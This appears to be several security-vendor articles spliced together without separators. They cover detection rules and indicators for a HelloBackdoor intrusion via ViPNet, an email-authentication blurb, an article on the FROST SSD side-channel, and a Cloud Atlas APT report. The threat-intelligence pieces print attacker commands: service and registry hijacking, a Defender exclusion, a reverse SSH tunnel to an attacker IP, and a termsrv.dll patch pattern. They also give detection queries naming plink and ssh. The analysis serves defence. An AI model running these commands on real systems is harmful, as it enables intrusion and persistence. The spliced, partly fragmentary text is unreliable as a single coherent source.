Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.
Kaspersky solutions detect this threat with the following verdicts:
Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.
One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.
It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.
Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.
The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.
The Kaspersky Managed Detection and Response service detects this attack using the following indicators:
wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.Itcsrvup64.exe or Itcsrvup.exe).svchost.exe process.%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).port:address:port and their variations in the command line.
To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:
Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:
(DeviceEventClassID = '4663' OR DeviceEventClassID = '11') AND match(FileName, '.*\\.(exe|dll)') AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = 7 AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe') AND FileName ilike '%wtsapi32.dll' AND FileName ilike '%\InfoTeCS\VIPNet Update System\%' AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
Itcsrvup64.exe or Itcsrvup.exe:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')
Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = '1' AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
svchost.exe process:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName ilike '%svchost.exe' AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')
DeviceEventClassID = '1' AND match(OldFileName, '.*(plink|ssh).*') AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'
For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.
HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c
HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe
Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140
wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597
5.39.253[.]206
176.32.34[.]135
T1569.002 — System Services: Service Execution
"cmd" /c sc start UrBackupClientBackendT1016 — System Network Configuration Discovery
"cmd" /c arp -a"cmd" /c routeprintT1049 — System Network Connections Discovery
"cmd" /c netstat -anoT1018 — Remote System Discovery
"cmd" /c ping mail.ru -n 2T1082 — System Information Discovery
"cmd" /c systeminfoT1057 — Process Discovery
"cmd" /c tasklistT1007 — System Service Discovery
"cmd" /c sc query UrBackupClientBackendT1083 — File and Directory Discovery
"cmd" /c dir temp*.tmp"cmd" /c dir $temp\*.tmp"cmd" /c dir amgmt*"cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669"cmd" /c dir $public\libraries\"cmd" /c dir d:\WindowsImageBackupT1005 — Data from Local System
"cmd" /c type $temp\TS_E9E3.tmp"cmd" /c type $temp\Acr6F3D.tmpT1074.001 — Local Data Staging
"cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\T1070.004 — Indicator Removal: File Deletion
"cmd" /c del $windir\amgmt.dll"cmd" /c del $public\libraries\APN000B.txtT1543.003 — Create or Modify System Process: Windows Service
sc stop AppMgmtsc delete AppMgmtsc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."sc failure AppMgmt reset= 0 actions= restart/0T1112 — Modify Registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dllreg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMainT1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)
"cmd" /c copy $windir\amgmt* $system32\T1059.003 — Execution of auxiliary scripts
"cmd" /c $windir\amgmt.bat"cmd" /c $windir\insru.cmdT1105 — Ingress Tool Transfer
"cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windirT1562.001 — Impair Defenses: Disable or Modify Tools
"cmd" /c \$windir\puh.exe add $windir\autoit3.exe whiteT1059 / T1218 — Proxy execution via AutoIt
"cmd" /c \$windir\autoit3.exe \$windir\data.datT1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH
c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]
Email remains the primary entry point for phishing, fraud, malware, and Business Email Compromise (BEC) attacks. While Microsoft 365 provides a strong foundation, organizations need additional layers of protection to defend against increasingly sophisticated threats
The email landscape has fundamentally changed — and in 2026, there is no ambiguity left:
DMARC is no longer optional. It is enforced.
Over the past two years, the world’s largest mailbox providers — Google, Yahoo, and Microsoft — have implemented strict authentication requirements. Today, any domain sending bulk email must have properly configured SPF, DKIM, and DMARC, or risk outright rejection. [mailcop.net], [redsift.com]
This shift marks the end of the “open email era” and the beginning of a trust-based ecosystem where authentication is mandatory.
In August 2026, the actor TheHatman claimed to have stolen large volume of credentials from organizations' Microsoft Entra tenants. We provide guidance on mitigating large-scale credential attacks.
The post Threat Brief: Mitigating Large-Scale Credential Attacks (Updated August 18) appeared first on Unit 42.
Scientists at Graz University of Technology in Austria recently published a paper detailing a new method for tracking users’ activity through their web browsers. The most fascinating thing about this new technique — which they’ve named FROST — is that it relies on a computer’s solid-state drive (SSD) to do the spying. Without getting bogged down in technical details, here’s how the attack works: a hacker lures a victim to a specially crafted website; as long as the site is kept open, the attacker can track exactly what apps the user is launching, and what other web pages they’re visiting.
So, how do they pull this off? The first instinct is naturally to blame the browser. But in modern web browsers, every website runs in an isolated sandbox and is generally locked out from touching other tabs — let alone the computer’s actual hardware. While hackers do find loopholes in these defenses from time to time, that’s not what’s happening here. The FROST attack doesn’t need to break the browser; it works perfectly even with all standard security measures in place. Instead, it hijacks a completely legitimate browser feature called the origin private file system (OPFS), which gives websites their own virtual storage space to store data. However, while this storage is digitally isolated, the data is still physically written to the exact same SSD that every other app and website opened on the computer is using. The researchers discovered that if a malicious page constantly bombards the SSD with data requests, the microscopic delays in data access can help map out what else is running on the PC. Before we dive into the details of how they manage this, let’s take a quick look at the theory behind the attack.
The term “side-channel” refers to a method of spying on a computer — or even a single microchip — indirectly. Instead of intercepting the data itself, an attacker might analyze fluctuations in power consumption, monitor the temperature of specific components, or listen in on electromagnetic radiation, among other things. In theory, this means that someone could eavesdrop on a conversation in a room just by using a computer mouse, since the optical sensor can pick up sound vibrations. Similarly, watching a CPU’s clock speed fluctuate could allow a hacker to steal an encryption key. Even a simple LED light on a badge reader can leak enough data about the device’s inner workings for an attacker to clone a smart card.
The beauty of these indirect data leaks — at least from a hacker’s perspective — is that they’re not easy to spot. Device manufacturers rarely account for them when building security systems. The downside, however, is just as obvious: extracting information through a mechanism that was never meant for data transmission is often complex, slow, and laborious. The Austrian researchers focused on a specific subtype known as a contention side-channel attack. This is where a leak occurs because multiple processes are competing for the same resource. In this case, that contested resource is the storage drive’s bandwidth.
This specific side channel has actually been studied before, including in a 2025 research paper. Back then, however, the setup was rather straightforward: the researchers ran one program on a computer to act as the data source, while a second program running on the same machine tried to intercept that data. While that’s fine for a theoretical academic study, the attack model wasn’t exactly groundbreaking. After all, if a hacker can already run any program they wish, they don’t need to rely on complex side channels — they have plenty of direct ways to steal the data.
Still, last year’s study wasn’t a complete waste of time. It proved that the resolution obtained from monitoring an SSD is quite high, the data leak is real, and the captured information can actually be useful. The FROST attack is essentially a logical continuation of the same idea.
Here’s how it works in practice. Let’s say there’s a fairly large file on an SSD packed with random data. A specific process reads this data at regular intervals and clocks how fast it gets a response. This speed fluctuates depending on how busy the drive is with other tasks. These access delays are the telltale signs of the drive’s activity. The Austrian researchers demonstrated that plotting these delays over time can help pinpoint with reasonable accuracy what other task is running on the computer at that very moment.
Distinct latency patterns generated when opening specific websites Source
And that’s where a relatively new browser feature called the origin private file system (OPFS) comes into play. A hypothetical attacker doesn’t have to trick the user into downloading a shady Trojan. All they need do is have the victim visit a specially crafted webpage, and that page will leverage OPFS to quietly track the SSD’s activity. The clever acronym brings all these moving parts together: FROST stands for Fingerprinting Remotely using OPFS-based SSD Timing. Here’s the step-by-step breakdown of how the entire attack plays out:
How the FROST method can be used to spy on a computer’s activity Source
Like any side-channel attack, FROST isn’t exactly built for speed. It’s a slow, methodical process. To figure out just how slow, the researchers built a dedicated testbed to measure it.
The testbed setup for measuring the speed of data extraction through OPFS Source
The team ran a program on a computer to transmit data indirectly. Think of it as a digital spy broadcasting a secret message by changing how it interacts with the hard drive. For instance, a 1 in the binary message code could mean the program is actively using the SSD, while a 0 means it’s sitting idle. At the same time, they set up a receiver inside the web browser that accessed the storage drive via OPFS. Because both the browser receiver and the transmitter program were competing for the SSD’s bandwidth, the browser experienced tiny speed delays whenever the transmitter was actively sending data.
This bizarre setup managed to transmit data at 661 bits per second, with nearly 90% accuracy on a Linux desktop with an AMD processor. On an Apple Mac Mini running macOS, the transfer rate hit 719 bits per second, also hovering around 90% accuracy. While these numbers are slightly lower than those in last year’s study — which relied on apps installed directly on the computer — the gap isn’t actually that huge.
That said, the real threat of the FROST attack isn’t raw data transmission; it’s tracking what the user does. Even if a hacker has a database of digital fingerprints for specific apps and websites, the information leaked through a malicious site using OPFS is too noisy. After all, a computer is constantly reading and writing data from/to the SSD in the background. To slice through that digital noise, the researchers turned to a tool that’s becoming standard practice in modern cyberattacks: a neural network. AI trained on known SSD fingerprints could confidently pick out user activity even from a chaotic mess of background data. The final results are eye-opening. On the Apple Mac Mini, the AI accurately identified which website the user opened 89% of the time, and nailed local app launches with 96% accuracy. Crucially, it could even detect what websites were opened in a completely different browser than the one running in the malicious tab. It sounds like a total home run for hackers — except for a massive list of real-world catches.
Simply knowing which apps are opened or what websites are visited doesn’t give an attacker much leverage. This kind of data is usually useful to advertisers looking to build a user’s digital profile without their permission; however, rolling out this tracking method on a massive scale is hardly realistic. The roadblock comes down to the fundamental way computers handle data: the system regularly dumps frequently accessed data into its RAM. Because the entire FROST attack relies on measuring the relatively slow bandwidth of the physical SSD, the data in RAM is effectively invisible to this method. To bypass this hurdle, the malicious webpage would have to force the OPFS to create a massive file — well over a gigabyte in size. Needless to say, a website that hogs hard drive resources in such an aggressive way would immediately raise red flags. EDR or XDR solutions will most likely flag it as anomalous activity.
Ultimately, this means the FROST attack — like most side-channel spying methods — is only practical for highly targeted operations. But that brings us right back to square one: knowing what apps someone opens or what web pages they browse is a pretty measly reward for the massive effort required to pull off such a sophisticated stunt.
Even so, FROST is light-years ahead of most academic side-channel attacks when it comes to real-world practicality. It doesn’t require preinstalled malware, and the victim doesn’t have to do anything more than open a malicious page. If nothing else, this research is a stark reminder of just how complex modern computers are, and how many unexpected blind spots can lead to data leaks. When building ultra-secure systems for highly classified data, one absolutely has to consider hardware peculiarities. If the prize is big enough, a determined attacker will gladly invest the time to build a hyper-specific complex attack. Research like this serves as proof that, in the world of cybersecurity, that scenario isn’t impossible.
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
| Step | Action | Description |
| 1 | Drops “$temp\fixed.ps1” | Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability. |
| 2 | Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup
|
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically. |
| 3 | Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded “$temp\rar.zip” |
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase. |
| 4 | Extracts “*.pdf” from the downloaded “$temp\rar.zip” | Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction. |
| 6 | Opens extracted decoy document “*.pdf” with user’s default software | User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations. |
| 6 | Executes “taskkill.exe /F /Im winrar.exe” | Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity. |
| 7 | Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk” | Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation. |
| 8 | Executes “$temp\fixed.ps1” | Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up. |
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:
PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.
Contents of the googleearth.ps1(PowerShower)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
The full launch chain looks like this:
The full Base64-decoded script is given below.
Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.
We’ve seen three types of scripts:
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
However, TTPs are still differentiated.
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.
PowerCloud
7A95360B7E0EB5B107A3D231ABBC541A C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40 C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33 C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7 C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453 C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29 C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016 C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1 C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9 C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419 C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8 dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3 –
25C8ED0511375DCA57EF136AC3FA0CCA C:\branding\dwmw.exe
Browser checker
5329F7BFF9D0D5DB28821B86C26D628F C:\ProgramData\checker_[redacted].exe
ReverseSocks
2B4BA4FACF8C299749771A3A4369782E C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8 C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769 C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160 C:\Windows\ime\imetc\help\IMTCEN14.exe
Malicious MS Office documents
369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05
Reverse SSH/Socks domains
tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net
Malicious and compromised domains used in MS Office documents
amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br
Powershell payload staging
istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71
VBS scripts
WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs
ssh.exe
c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe
ReverseSocks
C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
Tor client
C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe
